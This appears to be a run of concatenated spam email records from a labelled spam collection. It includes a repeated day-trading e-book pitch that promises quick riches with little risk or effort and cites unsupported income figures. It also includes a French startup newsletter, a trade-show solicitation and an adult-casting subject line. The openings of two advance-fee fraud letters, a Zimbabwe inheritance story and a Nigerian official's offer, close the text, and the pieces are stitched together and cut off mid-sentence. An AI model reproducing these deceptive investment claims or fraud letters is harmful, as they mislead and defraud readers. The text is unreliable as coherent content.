$99,999 per year 11% average an income between $20,000 and $49,999 per year After reading the Master Trader, you will discover extremely profitable, simple yet powerful trading methods that give you an almost unfair trading advantage and make you win DESPITE the current market weakness. Here is just a snippet of what I will teach you: *** Make money whether a stock goes up or down. *** Learn how to get in and out of stocks within split seconds. *** Learn exactly what stocks to trade, the exact price to buy them and the exact price to sell them. *** Save thousands of dollars by learning to avoid the mistakes beginners make. *** Learn how to trade stocks like a pro and how to make money consistently in every market! *** Learn proven strategies that give you the highest chance for great success. *** Profit on huge intraday price swings. *** Make money on the biggest news stories. *** Actively manage your risks and learn how to realize maximum returns. *** Learn how to use the tools and information Wall Street professionals use. *** Learn how to develop and maintain a winning state of mind. It's time to ask yourself: ""Am I going to listen to the Professionals who say BUY BUY BUY but never sell? Or am I going to take control of my own financial future, and start making money RIGHT NOW in the stock market?"" Who is looking out for your best economic interests - some wealthy Wall Street stockbroker, or yourself? With the Master Trader e-book, you will learn everything you need to know in order to get started with Day Trading ... from choosing the best broker in order to take advantage of the lowest commissions and instant order executions to professional trading strategies that make professional traders millions of dollars. The Master Trader e-book is the most comprehensive yet easy to understand and straight-forward book ever written about active trading. If you are serious about success in short term stock trading - ORDER TODAY and start paving the road to your own financial future. Oh, and remember that scraggly kid in the eighth grade? His high school friends laughed when he said he was going to make money in the stock market. Six years later, he bought a beach-front home on the California coast - WITH CASH. Oops, they weren't laughing anymore. In a rollercoaster market like we have today, day trading is the fastest track to wealth. If you're looking for a long-term retirement investment with no risk that goes up 5% a year, then by all means, this ain't your kind of game. But if you want the QUICKEST possible way to make a FORTUNE in the market, with the lowest element of risk, then order the MASTER TRADER e-book right now. I promise to teach you ALL of the secrets that helped me become a millionaire through successful day trading. You don't need to know anything about the market, and anyone can do it, with minimum effort. It's an easy game to win if you know how the pieces move. Order the MASTER TRADER e-book right now for only $49.97 by clicking on the link below: http://4tools4life.com/qs ****************************************************** Our company is strictly opposed to unsolicited emails. To be removed from this list, please send an email to ""bulkexpert@yahoo.com"" ****************************************************** 0283PTfl6-774Bfbm7392dPuV0-307VjSM4803zjlu1-614iiKT2570JdKt6-854fhdA5838oELl71",1,1 ,,"Mon, 09 Sep 2002 17:45:22 -0000","Earn $139,000 a year as a DAY TRADER!","It was the Spring of 1979. I was just a tall, goofy looking kid in middle school with buck-teeth and freckles. Each day in the cafeteria, I walked from table to table ... Stealing other kids' lunch money. No, I didn't rob them with a gun or a knife - I just made them a little deal. ""Let me borrow two dollars today,"" I said, ""and I'll bring you five dollars next week."" The investment was too good to pass up, and other kids were throwing their lunch money at me like gravy on mashed potatoes. Of course when ""next week"" rolled around and I couldn't pony up the cash, I promised to pay them even more the week after that, if they would just let me keep their investment a little bit longer. Eventually the end of the year came and went, high school started and with it came girls, and homework, and parties, and sports, and those poor kids from eighth grade had more things on their mind than last year's lunch money. I made off with a tidy sum for a middle school kid, and I didn't even get beat up. Hidden inside this story are the two greatest stock market secrets you will ever learn. First of all, greed is your number one enemy. You're not going to turn $2 into $5 in a week, so cash out when you're ahead. Don't wait for the boat to sink before grabbing the lifejacket. Second, never trust an investment adviser of any kind. They are looking out for their own money, not yours. The ""professionals"", those stuffy investment counselors and money managers, will always tell you that the best time to buy is NOW. According to those guys, the longer you keep your money in the market, the more money you're going to make. Ask them when is the best time to sell and their answer is ""NEVER"". In a sense, they are right. If you put $250,000 in an index fund right now, you'll probably have over a million dollars in thirty or forty years. But here's the problem: Do you want to WAIT thirty or forty years to be rich? Hell no! You want the money NOW - so you can enjoy it. It's hard to make use of your fortune when you're seventy years old in a wheelchair. If you could make a million dollars in the next few years, what would you do with it? Where would you travel? What kind of car would you buy? The fact is ... youth is the best time to be rich. If your goal is to make quick profits in the market, volatility is your ally, and stability your enemy. You want to see those large upswings, two hundred points in a day, followed by the four hundred point crash a week later. You don't care if the market went up or down 20% this year as long it was UNSTABLE. That's how you're going to make the money. What I'm talking about here is day trading. My father invests the traditional way; he holds some good stocks and he goes up 30K and down 30K. In the long term of 5-10 years he makes money. The day trader buys or sells 5,000 shares of XYZ for a $25,000 profit in a 5-10 minute trade. He acts quickly, taking advantage of all the information at his disposal about a certain stock, and estimating whether it will go up or down within hours, sometimes within minutes. I can teach you how to do this - and how to make amazing amounts of money at it. It's not rocket science, and you only need to learn a few basic principles to get started. Society would have you believe that successful trading is complicated and requires formal training. The truth is, wealthy people use very simple investment strategies to make money. Popular media and investment professionals portray successful trading as difficult and complex to scare you out of the boxing ring. They don't want the competetion - and they sure as hell don't want you paying a few dollars to an online trading firm to execute a trade for which they'd charge you forty or fifty dollars. They make their money only if you believe two lies: 1) That investing is too difficult and risky for the average person. 2) That using an investment adviser who charges a high commission is safer than trading online for a few bucks per trade. Here is what the financial gurus in today's society absolutely, positively DO NOT WANT YOU TO KNOW ... The strategies for profitable day trading are in fact so simple that anyone can do it - provided they spend a few hours of studying. After reading over 200 financial books and publications during the past decade, and after using day trading to successfully make more than four million dollars in the stock market, I've learned the following lessons: ** Achieving financial success is incredibly simple. ** Anyone can do it. ** It only takes a few hours to learn. When I discovered the secret to day trading, I didn't become wealthy overnight. If you want instant cash, drive to Wal-mart. Buy a ski mask and a shotgun, and rob your local bank. The only way to get rich, quick or otherwise, is through hard work, knowledge, and determination. After learning the fundamentals of day trading, I started practicing the trading art itself, and the first few weeks brought modest gains. The next few months gave me the practical experience I needed to really earn a living, and I was pulling close to a six figure income. In less than three years with no formal financial training, minimal effort and only moderate risk, I had made my first million. The knowledge that I gained during those formative trading years I am willing to share with you in my new book, the Master Trader. You will learn from my mistakes, and from my successes, as I teach you the simple, secret formula for day trading that I've used profitably year after year. The income of the day trader can be staggering. Thousands, even hundreds of thousands of dollars can be made or lost within minutes. The difference between making money and losing your shirt is simply this: knowledge. I will provide that knowledge, and I will give you a winning edge at this high-stakes game. Average Income of a Day Trader: 5% average an income in excess of $500,000 per year 22% average an income in excess of $250,000 per year 35% average an income in excess of $100,000 per year. 27% average an income between $50,000 and $99,999 per year 11% average an income between $20,000 and $49,999 per year After reading the Master Trader, you will discover extremely profitable, simple yet powerful trading methods that give you an almost unfair trading advantage and make you win DESPITE the current market weakness. Here is just a snippet of what I will teach you: *** Make money whether a stock goes up or down. *** Learn how to get in and out of stocks within split seconds. *** Learn exactly what stocks to trade, the exact price to buy them and the exact price to sell them. *** Save thousands of dollars by learning to avoid the mistakes beginners make. *** Learn how to trade stocks like a pro and how to make money consistently in every market! *** Learn proven strategies that give you the highest chance for great success. *** Profit on huge intraday price swings. *** Make money on the biggest news stories. *** Actively manage your risks and learn how to realize maximum returns. *** Learn how to use the tools and information Wall Street professionals use. *** Learn how to develop and maintain a winning state of mind. It's time to ask yourself: ""Am I going to listen to the Professionals who say BUY BUY BUY but never sell? Or am I going to take control of my own financial future, and start making money RIGHT NOW in the stock market?"" Who is looking out for your best economic interests - some wealthy Wall Street stockbroker, or yourself? With the Master Trader e-book, you will learn everything you need to know in order to get started with Day Trading ... from choosing the best broker in order to take advantage of the lowest commissions and instant order executions to professional trading strategies that make professional traders millions of dollars. The Master Trader e-book is the most comprehensive yet easy to understand and straight-forward book ever written about active trading. If you are serious about success in short term stock trading - ORDER TODAY and start paving the road to your own financial future. Oh, and remember that scraggly kid in the eighth grade? His high school friends laughed when he said he was going to make money in the stock market. Six years later, he bought a beach-front home on the California coast - WITH CASH. Oops, they weren't laughing anymore. In a rollercoaster market like we have today, day trading is the fastest track to wealth. If you're looking for a long-term retirement investment with no risk that goes up 5% a year, then by all means, this ain't your kind of game. But if you want the QUICKEST possible way to make a FORTUNE in the market, with the lowest element of risk, then order the MASTER TRADER e-book right now. I promise to teach you ALL of the secrets that helped me become a millionaire through successful day trading. You don't need to know anything about the market, and anyone can do it, with minimum effort. It's an easy game to win if you know how the pieces move. Order the MASTER TRADER e-book right now for only $49.97 by clicking on the link below: http://4tools4life.com/qs ****************************************************** Our company is strictly opposed to unsolicited emails. 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Coach'Invest Interactive accompagne les entreprises dans la cration, le dveloppement, l'optimisation et la gestion au quotidien de leur site Internet. Coach'Invest Interactive propose ses clients de nombreux services afin de les aider concevoir et mettre en place leur stratgie Internet. Contact : Hugo BEAULIEU ; Tl : 01 56 77 01 20 / 06 81 57 85 47; E-mail : webmaster@coachinvest.com Pour en savoir plus : http://www.coachinvest.com/entrepreneur/coach_interactive.html 2- Coach'Invest a investi dans deux nouvelles entreprises : Inqual : INQUAL est une socit cre en janvier 2001 par 3 ingnieurs issus de lENST et 1 cadre commercial expriment. Lquipe est aujourdhui compose de 12 personnes. Inqual est soutenu par lANVAR et a t rcompens pour ses contributions linnovation par divers prix nationaux, dont le premier prix du concours Allgre. Experte dans les architectures Internet, lquipe dInqual matrise les conceptualisations de haut niveau (UML) et les serveurs dapplications, notamment ZOPE. INQUAL construit une offre au service des collectivits locales en proposant le premier SIIC (Systme dInformation Inter-Communal ). Ce systme apporte une gamme complte doutils permettant lutilisation professionnelle de fonctionnalits Internet, Intranet et Extranet, sans connaissances informatiques. La premire brique mtier de ce SIIC est un outil dautomatisation de publication pluri-mdia du Bulletin dInformations Municipales (BIM). Le logiciel LEBIM permet dditer et de modifier, en ligne et en temps rel linformation pratique de la collectivit locale. Des outils intgrs permettent de gnrer automatiquement le site Internet dynamique de la commune. Le site ainsi dvelopp est mis jour automatiquement et modifiable sans connaissances informatiques, par la commune elle-mme. Contact : Joseph OULHEN ; Tl : 02 98 02 03 61 ; E-mail : joseph.oulhen@inqual.com Pour en savoir plus : http://www.coachinvest.com/startup/startup33.html Sir Assurances : Cre en 1994, la socit Sir Assurances est le premier courtier dassurances spcialis sur le march des entreprises nouvelles. Sir Assurances a dvelopp le portail www.newbizassur.com pour proposer aux entreprises nouvelles une large gamme de services et de produits dassurance rpondant lensemble de leurs besoins. La socit commercialise sa plateforme technologique en marque blanche et/ou en co-branding auprs des principaux acteurs de lInternet en France et en Europe. Contact : Jean-Eudes LEBAUPIN ; Tl : 01 40 20 47 24 ; E-mail : jel@newbizassur.com Pour en savoir plus : http://www.coachinvest.com/startup/startup34.html 3 - CoachInvest soutient activement deux vnements majeurs en faveur du dveloppement de lentrepreneuriat en France : Le lancement de lannuaire des investisseurs rgionaux Les journes Plug and Start (un vnement de la Technopole de lAube en Champagne). Annuaire des Investisseurs Rgionaux 2002 : Pour rpondre aux besoins de financement des entreprises, lAnnuaire des Investisseurs Rgionaux recense les diffrents acteurs du financement et de laccompagnement des entreprises dans chaque rgion. Vous tes chef dentreprise ou dcid exercer votre talent dentrepreneur, avec lAnnuaire des Investisseurs Rgionaux, vous identifierez rapidement les solutions de financement diversifies et adaptes aux besoins de votre entreprise. Cet annuaire est un outil de travail unique et indispensable pour lentrepreneur. Pour en savoir plus ou pour commander lAnnuaire des Investisseurs Rgionaux, contactez Virginie GOUPY par tlphone au 03 20 27 18 84 ou par mail : epr@vigiecom.net Journes Plug and Start (8, 9 et 10 octobre 2002) : La Technopole de lAube en Champagne (Troyes) innove avec le lancement les 8, 9 et 10 octobre prochains des Journes Plug and Start destines aux futurs crateurs dentreprises innovantes caractre technologique ou scientifique. Avant mme son arrive Troyes, chaque crateur bnficie dune premire analyse de son projet en toute confidentialit. Il a le droit un tuteur (dirigeant dentreprise) pour laccompagner tout au long de son parcours. Un parrain est slectionn pour lui parmi les 150 experts constituants le cercle privilgi de la Technopole de lAube. Conseils personnaliss, alternance de travaux individuels et dateliers collectifs, expriences des intervenants, mise disposition dun espace de travail quip, disponibilit de toute une quipe, mais aussi convivialit de la Technopole et plaisirs de la ville de Troyes Plug and Start sest donn les moyens de russir et de faire russir les crateurs. A lissu des journes Plug and Start, les porteurs de pro jets pourront tre mis en contact avec le rseau de capital risque de la Technopole de lAube. Par ailleurs, ils pourront galement participer un forum des capitaux o ils rencontreront de nombreux investisseurs. Pour en savoir plus et vous inscrire, contactez Michal NOBLOT au 03 25 83 10 10 ou par e-mail : m.noblot@technopole-aube.fr DES NOUVELLES DE NOS PARTICIPATIONS. Caf & Co : Caf & Co propose aux futurs gestionnaires indpendants de parcs de distributeurs automatiques de boissons l'ensemble des services tels que : solutions de financement, emplacements, formation et accompagnement, gestion, ... pour favoriser leur russite d'entrepreneur individuel. Vous pouvez galement participer au dveloppement de Caf & Co en bnficiant de l'installation gratuite d'un distributeur automatique de boissons chaudes dans vos locaux. Contact : Nicolas BOUGON ; Tl : 06 60 41 35 14 ; E-mail : nbougon@noos.fr Carlogo : La socit Carlogo propose aux annonceurs de nouvelles solutions d'affichage mobile l'efficacit prouve (tude Ipsos) dont CARLOGO PUBLICITE qui permet aux automobilistes de gagner de l'argent (en louant un espace publicitaire sur leur voiture, les conducteurs sont rmunrs chaque mois). Aprs une campagne nationale pour le Crdit Foncier et des oprations pendant l't pour le Club Med, Galderma ou Aujourd'hui en France sur le Tour de France, de nouvelles campagnes auront lieu ds la rentre. Contact : Olivier MASCHINO ; Tl : 01 46 42 43 02 ; E-mail : olivier.maschino@carlogo.com Pour en savoir plus : http://www.coachinvest.com/startup/startup20.html France Actionnaire : Linformation sur les PME PMI cotes en bourse (entre 1 million et 1 milliard dEuros de capitalisation boursire) vous intresse ? Vous voulez connatre vos concurrents cots, leur valorisation, dcouvrir un secteur dactivit ? Sur www.france-actionnaire.com vous trouverez des analyses financires, des profils complets sur lactivit des socits et leurs concurrents, des ratios, des outils de comparaison. Un outil rvolutionnaire dj utilis par un grand nombre dentreprises, danalystes financiers, de grants, et dinvestisseurs pour enfin avoir de linformation de qualit sur toutes les valeurs moyennes. Nous vous proposons 2 offres et 2 modes daccs : - offre expert : paiement la minute de consommation ou abonnement - offre premium : abonnement uniquement Abonns la newsletter de CoachInvest, profitez dune rduction de 30% sur les abonnements dune dure de 6 mois ou plus en donnant le mot de passe : CoachInvest. Contact : Sbastien FAIJEAN ; Tl : 01 48 01 87 27; E-mail : contact@france-actionnaire.com Pour en savoir plus : http://www.coachinvest.com/startup/startup08.html Labelium : Labelium , 1er cabinet d'audit de sites Internet en France , vous propose de faire un devis gratuit d'intervention pour votre site Internet. Le mtier de Labelium est de constater via un audit les forces et les faiblesses des sites et de recueillir via une grille dvaluation et selon 400 critres les lments damlioration possibles. Puis, nous catalysons lensemble des points damlioration identifis et rdigeons des recommandations stratgiques permettant au site daccrotre la qualit de ses prestations. A la suite de laudit et des recommandations , nous vous proposons des missions de soutien rcurrentes garantissant votre site un niveau de performance optimal dans le temps. Contact : Thierry HERRMANN ; Tl : 06 08 77 77 13; E-mail : info@labelium.com Pour en savoir plus : http://www.coachinvest.com/startup/startup28.html Le Manoir du Grand Vignoble : Le Manoir du Grand Vignoble, demeure du XVIIme sicle situ 40 kilomtres de Bergerac offre 10% de rduction sur les chambres (hors juillet-aot) aux lecteurs de la newsletter de CoachInvest. Les 44 chambres et suites sont spacieuses et souvrent sur les forts avoisinantes. Au restaurant ou sous les tonnelles de la terrasse, la cuisine propose est limage de celle quvoque le mot Prigord, elle est gnreuse et gourmande, axe sur les produits du terroir sans ngliger pour cela linnovation. Contact : Denis PETE ; Tl : 05 53 24 23 18 ; E-mail : GRAND.VIGNOBLE@wanadoo.fr Pour en savoir plus : http://www.coachinvest.com/startup/startup25.html Netagis : NETAGIS vient de conclure un nouveau contrat en Gestion de Patrimoine avec les Mutuelles de Loire-Atlantique. La socit va grer les plans des diffrents btiments de la Mutuelle sur sa plateforme ActiGIS en version Patrimoine. Le contrat porte sur une dizaine de btiments reprsentant plusieurs milliers de mtre-carrs. Paralllement, NETAGIS annonce la sortie de ActiGIS Industrie en septembre destin la gestion des plans de sites industriels pour apporter une relle assistance la prise de dcision et la matrise des risques industriels et environnementaux. Le programme de dveloppement R&D de NETAGIS bnficie depuis le mois de juillet de l' appui de l'ANVAR. Contact : Patrick JULIEN ; Tl : 02 51 11 12 14 ; E-mail : patrick.julien@netagis.com Pour en savoir plus : http://www.coachinvest.com/startup/startup21.html QUE VOUS SOYEZ - ENTREPRENEUR (PORTEUR DE PROJET, DIRIGEANT DE START-UP, PATRON DE PME), - PARTENAIRE POTENTIEL DE COACHINVEST (PRESTATAIRE LOCAL, ENTREPRISE NATIONALE, INSTITUTIONNEL, ASSOCIATION) NHESITEZ PAS A NOUS CONTACTER SI VOUS AVEZ ENVIE QUE LON TRAVAILLE ENSEMBLE. Si vous souhaitez en savoir plus sur CoachInvest, vous pouvez nous retrouver sur www.coachinvest.com Retrouvez sur le minitel, code 3615 COACHINVEST (0.34 Euros/min), tous les documents juridiques dont vous avez besoin dans le cadre de votre entreprise. Thomas Legrain PDG CoachInvest info@coachinvest.com ------------------------------------------------------------------------------ Pour vous dsinscrire, rendez-vous l'adresse suivante : http://www.coachinvest.com/Newsletter_commune/ml.php?type=desinscription&addr=freebsd-stable@freebsd.org&hash=c96285ccb37d419079d79ce22254cb66 To Unsubscribe: send mail to majordomo@FreeBSD.org with ""unsubscribe freebsd-stable"" in the body of the message",1,1 info@coachinvest.com,freebsd-questions@FreeBSD.ORG,3 Sep 2002 19:48:55 -0000,Newsletter Coach'Invest - Septembre 2002,"NEWSLETTER COACHINVEST SEPTEMBRE 2002 CoachInvest, laccompagnateur des jeunes entreprises www.coachinvest.com ou 3615 COACHINVEST (0.34 Euros/min) DES NOUVELLES DE COACHINVEST. 1- Lancement russi pour Coach'Invest Interactive qui dcroche ses premiers contrats. Coach'Invest Interactive accompagne les entreprises dans la cration, le dveloppement, l'optimisation et la gestion au quotidien de leur site Internet. Coach'Invest Interactive propose ses clients de nombreux services afin de les aider concevoir et mettre en place leur stratgie Internet. Contact : Hugo BEAULIEU ; Tl : 01 56 77 01 20 / 06 81 57 85 47; E-mail : webmaster@coachinvest.com Pour en savoir plus : http://www.coachinvest.com/entrepreneur/coach_interactive.html 2- Coach'Invest a investi dans deux nouvelles entreprises : Inqual : INQUAL est une socit cre en janvier 2001 par 3 ingnieurs issus de lENST et 1 cadre commercial expriment. Lquipe est aujourdhui compose de 12 personnes. Inqual est soutenu par lANVAR et a t rcompens pour ses contributions linnovation par divers prix nationaux, dont le premier prix du concours Allgre. Experte dans les architectures Internet, lquipe dInqual matrise les conceptualisations de haut niveau (UML) et les serveurs dapplications, notamment ZOPE. INQUAL construit une offre au service des collectivits locales en proposant le premier SIIC (Systme dInformation Inter-Communal ). Ce systme apporte une gamme complte doutils permettant lutilisation professionnelle de fonctionnalits Internet, Intranet et Extranet, sans connaissances informatiques. La premire brique mtier de ce SIIC est un outil dautomatisation de publication pluri-mdia du Bulletin dInformations Municipales (BIM). Le logiciel LEBIM permet dditer et de modifier, en ligne et en temps rel linformation pratique de la collectivit locale. Des outils intgrs permettent de gnrer automatiquement le site Internet dynamique de la commune. Le site ainsi dvelopp est mis jour automatiquement et modifiable sans connaissances informatiques, par la commune elle-mme. Contact : Joseph OULHEN ; Tl : 02 98 02 03 61 ; E-mail : joseph.oulhen@inqual.com Pour en savoir plus : http://www.coachinvest.com/startup/startup33.html Sir Assurances : Cre en 1994, la socit Sir Assurances est le premier courtier dassurances spcialis sur le march des entreprises nouvelles. Sir Assurances a dvelopp le portail www.newbizassur.com pour proposer aux entreprises nouvelles une large gamme de services et de produits dassurance rpondant lensemble de leurs besoins. La socit commercialise sa plateforme technologique en marque blanche et/ou en co-branding auprs des principaux acteurs de lInternet en France et en Europe. Contact : Jean-Eudes LEBAUPIN ; Tl : 01 40 20 47 24 ; E-mail : jel@newbizassur.com Pour en savoir plus : http://www.coachinvest.com/startup/startup34.html 3 - CoachInvest soutient activement deux vnements majeurs en faveur du dveloppement de lentrepreneuriat en France : Le lancement de lannuaire des investisseurs rgionaux Les journes Plug and Start (un vnement de la Technopole de lAube en Champagne). Annuaire des Investisseurs Rgionaux 2002 : Pour rpondre aux besoins de financement des entreprises, lAnnuaire des Investisseurs Rgionaux recense les diffrents acteurs du financement et de laccompagnement des entreprises dans chaque rgion. Vous tes chef dentreprise ou dcid exercer votre talent dentrepreneur, avec lAnnuaire des Investisseurs Rgionaux, vous identifierez rapidement les solutions de financement diversifies et adaptes aux besoins de votre entreprise. Cet annuaire est un outil de travail unique et indispensable pour lentrepreneur. Pour en savoir plus ou pour commander lAnnuaire des Investisseurs Rgionaux, contactez Virginie GOUPY par tlphone au 03 20 27 18 84 ou par mail : epr@vigiecom.net Journes Plug and Start (8, 9 et 10 octobre 2002) : La Technopole de lAube en Champagne (Troyes) innove avec le lancement les 8, 9 et 10 octobre prochains des Journes Plug and Start destines aux futurs crateurs dentreprises innovantes caractre technologique ou scientifique. Avant mme son arrive Troyes, chaque crateur bnficie dune premire analyse de son projet en toute confidentialit. Il a le droit un tuteur (dirigeant dentreprise) pour laccompagner tout au long de son parcours. Un parrain est slectionn pour lui parmi les 150 experts constituants le cercle privilgi de la Technopole de lAube. Conseils personnaliss, alternance de travaux individuels et dateliers collectifs, expriences des intervenants, mise disposition dun espace de travail quip, disponibilit de toute une quipe, mais aussi convivialit de la Technopole et plaisirs de la ville de Troyes Plug and Start sest donn les moyens de russir et de faire russir les crateurs. A lissu des journes Plug and Start, les porteurs de pro jets pourront tre mis en contact avec le rseau de capital risque de la Technopole de lAube. Par ailleurs, ils pourront galement participer un forum des capitaux o ils rencontreront de nombreux investisseurs. Pour en savoir plus et vous inscrire, contactez Michal NOBLOT au 03 25 83 10 10 ou par e-mail : m.noblot@technopole-aube.fr DES NOUVELLES DE NOS PARTICIPATIONS. Caf & Co : Caf & Co propose aux futurs gestionnaires indpendants de parcs de distributeurs automatiques de boissons l'ensemble des services tels que : solutions de financement, emplacements, formation et accompagnement, gestion, ... pour favoriser leur russite d'entrepreneur individuel. Vous pouvez galement participer au dveloppement de Caf & Co en bnficiant de l'installation gratuite d'un distributeur automatique de boissons chaudes dans vos locaux. Contact : Nicolas BOUGON ; Tl : 06 60 41 35 14 ; E-mail : nbougon@noos.fr Carlogo : La socit Carlogo propose aux annonceurs de nouvelles solutions d'affichage mobile l'efficacit prouve (tude Ipsos) dont CARLOGO PUBLICITE qui permet aux automobilistes de gagner de l'argent (en louant un espace publicitaire sur leur voiture, les conducteurs sont rmunrs chaque mois). Aprs une campagne nationale pour le Crdit Foncier et des oprations pendant l't pour le Club Med, Galderma ou Aujourd'hui en France sur le Tour de France, de nouvelles campagnes auront lieu ds la rentre. Contact : Olivier MASCHINO ; Tl : 01 46 42 43 02 ; E-mail : olivier.maschino@carlogo.com Pour en savoir plus : http://www.coachinvest.com/startup/startup20.html France Actionnaire : Linformation sur les PME PMI cotes en bourse (entre 1 million et 1 milliard dEuros de capitalisation boursire) vous intresse ? Vous voulez connatre vos concurrents cots, leur valorisation, dcouvrir un secteur dactivit ? Sur www.france-actionnaire.com vous trouverez des analyses financires, des profils complets sur lactivit des socits et leurs concurrents, des ratios, des outils de comparaison. Un outil rvolutionnaire dj utilis par un grand nombre dentreprises, danalystes financiers, de grants, et dinvestisseurs pour enfin avoir de linformation de qualit sur toutes les valeurs moyennes. Nous vous proposons 2 offres et 2 modes daccs : - offre expert : paiement la minute de consommation ou abonnement - offre premium : abonnement uniquement Abonns la newsletter de CoachInvest, profitez dune rduction de 30% sur les abonnements dune dure de 6 mois ou plus en donnant le mot de passe : CoachInvest. Contact : Sbastien FAIJEAN ; Tl : 01 48 01 87 27; E-mail : contact@france-actionnaire.com Pour en savoir plus : http://www.coachinvest.com/startup/startup08.html Labelium : Labelium , 1er cabinet d'audit de sites Internet en France , vous propose de faire un devis gratuit d'intervention pour votre site Internet. Le mtier de Labelium est de constater via un audit les forces et les faiblesses des sites et de recueillir via une grille dvaluation et selon 400 critres les lments damlioration possibles. Puis, nous catalysons lensemble des points damlioration identifis et rdigeons des recommandations stratgiques permettant au site daccrotre la qualit de ses prestations. A la suite de laudit et des recommandations , nous vous proposons des missions de soutien rcurrentes garantissant votre site un niveau de performance optimal dans le temps. Contact : Thierry HERRMANN ; Tl : 06 08 77 77 13; E-mail : info@labelium.com Pour en savoir plus : http://www.coachinvest.com/startup/startup28.html Le Manoir du Grand Vignoble : Le Manoir du Grand Vignoble, demeure du XVIIme sicle situ 40 kilomtres de Bergerac offre 10% de rduction sur les chambres (hors juillet-aot) aux lecteurs de la newsletter de CoachInvest. Les 44 chambres et suites sont spacieuses et souvrent sur les forts avoisinantes. Au restaurant ou sous les tonnelles de la terrasse, la cuisine propose est limage de celle quvoque le mot Prigord, elle est gnreuse et gourmande, axe sur les produits du terroir sans ngliger pour cela linnovation. Contact : Denis PETE ; Tl : 05 53 24 23 18 ; E-mail : GRAND.VIGNOBLE@wanadoo.fr Pour en savoir plus : http://www.coachinvest.com/startup/startup25.html Netagis : NETAGIS vient de conclure un nouveau contrat en Gestion de Patrimoine avec les Mutuelles de Loire-Atlantique. La socit va grer les plans des diffrents btiments de la Mutuelle sur sa plateforme ActiGIS en version Patrimoine. Le contrat porte sur une dizaine de btiments reprsentant plusieurs milliers de mtre-carrs. Paralllement, NETAGIS annonce la sortie de ActiGIS Industrie en septembre destin la gestion des plans de sites industriels pour apporter une relle assistance la prise de dcision et la matrise des risques industriels et environnementaux. Le programme de dveloppement R&D de NETAGIS bnficie depuis le mois de juillet de l' appui de l'ANVAR. Contact : Patrick JULIEN ; Tl : 02 51 11 12 14 ; E-mail : patrick.julien@netagis.com Pour en savoir plus : http://www.coachinvest.com/startup/startup21.html QUE VOUS SOYEZ - ENTREPRENEUR (PORTEUR DE PROJET, DIRIGEANT DE START-UP, PATRON DE PME), - PARTENAIRE POTENTIEL DE COACHINVEST (PRESTATAIRE LOCAL, ENTREPRISE NATIONALE, INSTITUTIONNEL, ASSOCIATION) NHESITEZ PAS A NOUS CONTACTER SI VOUS AVEZ ENVIE QUE LON TRAVAILLE ENSEMBLE. Si vous souhaitez en savoir plus sur CoachInvest, vous pouvez nous retrouver sur www.coachinvest.com Retrouvez sur le minitel, code 3615 COACHINVEST (0.34 Euros/min), tous les documents juridiques dont vous avez besoin dans le cadre de votre entreprise. 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Convergence India is the longest running international trade-show and the only forum in India to showcase the convergence of voice and data networks, delivery of content, television and entertainment applications, broadcast, telecommunications, fixed and mobile networks, internet, computing etc.   For the same, I would like to contact the concerned person in your organisation. Could you please advise his/her complete contact details or please forward the following mail to him/her. In case you are the decision maker about participation in international exhibitions, following this mail is some information on our annual event.   Thank you in advance.   Sincerely and with best regards,   Deepak Kr. Nagpal Executive Marketing   Exhibitions India Pvt. Ltd.A-17 2nd FloorDDA SCO ComplexNear Moolchand FlyoverDefence ColonyNew Delhi 110 024Tel:  +91 11 463 8680-84Fax: +91 11 463 3506, 462 3320email: exhibitionsindia@vsnl .comwebsite: www.exhibitionsindia.o rg     INFORMATION ABOUT THE EVENT   Exhibitions India organises the Convergence India  exhibition & conference, which is the longest running international trade-show and the only forum in India to showcase the convergence of voice and data networks, delivery of content, television and entertainment applications, broadcast, telecommunications, fixed and mobile networks, internet, computing etc.   Exhibitions India invites you to participate at the 11th Convergence India 2003 exhibition & conference, which will be at Pragati Maidan, New Delhi, India during 11-13 March 2003.   The Government of India has recently mandated the Conditional Access System for distribution of satellite television channels. This has created a whole new marketplace in the Indian cable industry. Once this bill is made an act, it will be mandatory for cable operators to distribute pay channels through a set-top box.India has an estimated 38 million cable homes! The implementation of this change will require massive investments in set-top boxes, conditional access software and the upgradation of headend networks - a great oppotunity for you to tap this huge market!! Exhibiting your products at the 11th Convergence India exhibition will give you an opportunity to meet all your  targetted visitors under a single roof.Other exhibits will be from various industries including high speed networking, internet telephony, mobile and satellite communications, network infrastructure, optical access networking, portable communication devices, t&m and interactive media, VoIP, wireless access, 3G, m-commerce, multimedia broadband services via satellite, conditional access technologies, satellite receivers and transmitters, encoders, decoders, and the latest in broadcast, cable and satellite equipment, mobile phone accesories  etc.We successfully concluded the 10th Convergence India 2002 exhibition and conference at New Delhi - the event had 176 exhibitors from 17 countries displaying their equipment and technologies to a discerning audience of 16,093 visitors from the industry, government, related trade associations. The event got extensive coverage from the media - both print and electronic. The three day high profile conference had over 1374 delegates. Highlights of the event were country pavilions from USA, FRANCE, CHINA & the VoIP Technology Pavilion. More about the next event:   Convergence India is certified by the US Department of Commerce since 1994.   UK Group Participation : Trade Fairs Support,UK Co-organisers:- Ministry of Communications & IT, Government of India- Association of Basic Telecom Operators- Cellular Operators Association of India- Indo-American Chamber of Commerce- VSAT Services Association of India- Telecom Equipment Manufacturers Association of India (TEMA)- Internet Service Providers Association of India (ISPAI Supports: All India Aavishkar Dish Antenna Sangh, India, Cable Operators Federation of India, India, Economics, Finance & Trade Commission of France (UBI France), Electronic Component Industries Association, India, Global VSAT Forum, UK, International Broadcasting Convention (IBC), UK, National Association of Broadcasters (NAB), USA, Swiss Multimedia Association, Switzerland, Telecom Users Group of India, India, The Institution of Electronics and Telecommunication Engineers, India   Participation Cost: Shell Space:    US $ 250 per sqm (minimum 9 sqm) Raw Space:     US $ 220 per sqm (minimum 18 sqm)   Please visit our website (www.exhibitionsindia.o rg) for further details.    We await your confirmation!!",1,1 K1-Sexkontaktmagazin ,,"Fri, 06 Sep 2002 14:51:54 +0100",Wir suchen Erotikdarsteller!,"This is a Multipart MIME message. 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Due to the current war against white farmers in Zimbabwe and the support of President Robert Mugabe to Claim all white owned farms in our country to gain Favor for re-election. All white farmers were asked to Surrender their farms to the government for Re-distribution and infact to his political party Members and my father though black was the treasury of the farmers association and a strong member of an Opposition party that did not support the president Idea. He then ordered his party members and the police Under his pay row to invade my father's farm and burn Down everything in the farm. They killed my Father and took away a lot of items from his farm. After the death of my father, our local pastor and a Close friend of my father handed us over will Documents with instructions from my father that we Should leave Zimbabwe incase anything happen to him. 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I am a highly placed official of Government of Nigeria and also a founding member of the ruling party in Power now,the Peoples Democratic Party(PDP). My committee - The Niger Delta Development Corporation(NDDC)-which is in charge of managing and supervising the disbursement of oil sales revenues for the Nigerian government.The revenues under our control runs into several hundred of millions of dollars monthly.My self and other 